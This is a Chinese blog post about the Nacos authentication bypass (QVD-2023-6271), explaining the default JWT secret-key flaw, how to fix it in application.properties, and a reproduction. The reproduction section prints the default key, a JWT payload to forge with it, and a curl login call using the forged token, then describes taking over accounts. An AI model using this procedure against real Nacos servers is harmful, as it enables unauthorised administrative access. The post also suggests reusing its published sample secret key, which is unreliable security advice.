likes
comments
collection
share

Nacos身份绕过漏洞(QVD-2023-6271)

作者站长头像
站长
· 阅读数 15

我正在参加「金石计划4.0」

1.nacos身份绕过漏洞

Nacos身份认证绕过漏洞(QVD-2023-6271)

Nacos身份绕过漏洞(QVD-2023-6271)

Nacos身份绕过漏洞(QVD-2023-6271)

Nacos身份绕过漏洞(QVD-2023-6271)

2.漏洞原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。 目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞影响范围: 0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。 JWT(JSON Web Token)是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时,通常需要使用密钥对token进行签名,以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中,将会存在JWT硬编码漏洞。 JWT硬编码漏洞是指将密钥硬编码到应用程序代码中,而不是存储在安全的密钥存储库中,攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT,或者验证伪造的JWT,从而导致安全漏洞。例如,应用程序使用硬编码密钥对JWT进行签名,攻击者可以轻松获取该密钥并创建有效的JWT,该JWT会被误认为是经过身份验证的用户,从而获得未经授权的访问权限。因此,为了避免JWT硬编码漏洞,应该将密钥存储在安全的密钥存储库中,并且只有授权的应用程序可以访问它。

Nacos身份绕过漏洞(QVD-2023-6271)

由上可见,修改该漏洞也是很快,只需要修改token.secret.key的值即可。

官方建议,修复

修复说明

3.漏洞修复

  • token.secret.key

Nacos身份绕过漏洞(QVD-2023-6271)

修改application.properties文件:

nacos.core.auth.default.token.secret.key=VGhpc0lzTXlTZWNyZXRLZXlMbHN5ZG4xMjMhQCMrLT0=

这里对应的key为这个:

Nacos身份绕过漏洞(QVD-2023-6271)

原始的key长度,一定要大于32,否则会导致登录失败。

可以自行对应修改,或者直接使用该key也是可以的。

base64在线转换地址

  • server.identity.keyserver.identity.value
### 配置自定义身份识别的key(不可为空)和value(不可为空)
nacos.core.auth.server.identity.key=llsydn
nacos.core.auth.server.identity.value=Llsydn123!@#

注意:

Nacos身份绕过漏洞(QVD-2023-6271)

由于nacos server重启后,会导致nacos client获取不到nacos的配置,导致一直报错。

1.可以按照官方说明,修改token过期时间,让所有的nacos client重新获取一次token。

2.或者重启所有的nacos client。

nacos.core.auth.default.token.expire.seconds=5

nacos.core.auth.enable.userAgentAuthWhite=true

经过测试,好像改了配置,nacos client也会报,连接nacos出错。

所以这里,还是建议重启一下所有的nacos client吧!!!

坑!!!

4.漏洞复现

利用该默认key可进行jwt构造,直接进入后台,构造方法: 在 jwt.io/ 中:输入默认key:

Nacos身份绕过漏洞(QVD-2023-6271)

  • 默认得key是下面这个:
### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
{
  "sub": "nacos",
  "exp": 1679897289
}

在这里注意:1679897289这个值是unix时间戳,换算一下。在线转换

左边生成的token,就是接口所需的bearer token,下面调用接口需要用到这个token

  • postman调用这个接口/nacos/v1/auth/users/login

Nacos身份绕过漏洞(QVD-2023-6271)

Nacos身份绕过漏洞(QVD-2023-6271)

这样就拿到nacos访问的accessToken了。

这个信息,针对nacos的可视化客户端是存放在Local Storage

Nacos身份绕过漏洞(QVD-2023-6271)

那我们直接用postman请求拿到的accessToken,往浏览器的Local Storage存放一个token,试试看,能不能直接进入到nacos的可视化客户端界面?

Nacos身份绕过漏洞(QVD-2023-6271)

Nacos身份绕过漏洞(QVD-2023-6271)

没有postman的,可以使用curl命令:

curl -H "Authorization: Bearer xxx" -F 'username=llsydn' -F 'password=llsydn' -X POST http://127.0.0.1:8848/nacos/v1/auth/users/login

由上可见,可以直接进入到nacos的可视化客户端界面。

虽然服务,配置是看不到,但是用户列表是能访问,那我们进入到这里,创建一个新的用户,或者修改了nacos的密码,那我们就能完全的获取到nacos的访问权限了。

Nacos身份绕过漏洞(QVD-2023-6271)

总结:

修改application.properties文件:

### token.secret.key
nacos.core.auth.default.token.secret.key=VGhpc0lzTXlTZWNyZXRLZXlMbHN5ZG4xMjMhQCMrLT0=
### 配置自定义身份识别的key(不可为空)和value(不可为空)
nacos.core.auth.server.identity.key=llsydn
nacos.core.auth.server.identity.value=Llsydn123!@#

修改后,如果出现微服务报nacos出错。 这里,还是建议重启一下所有的微服务吧!!!


好了,以上就是我个人的实操了。可能有些不对,大家伙,轻点喷!!!

个人理解,可能也不够全面,班门弄斧了。

好了,今天就先到这里了!!!^_^

如果觉得有收获的,帮忙点赞、评论、收藏一下,再走呗!!!

Nacos身份绕过漏洞(QVD-2023-6271)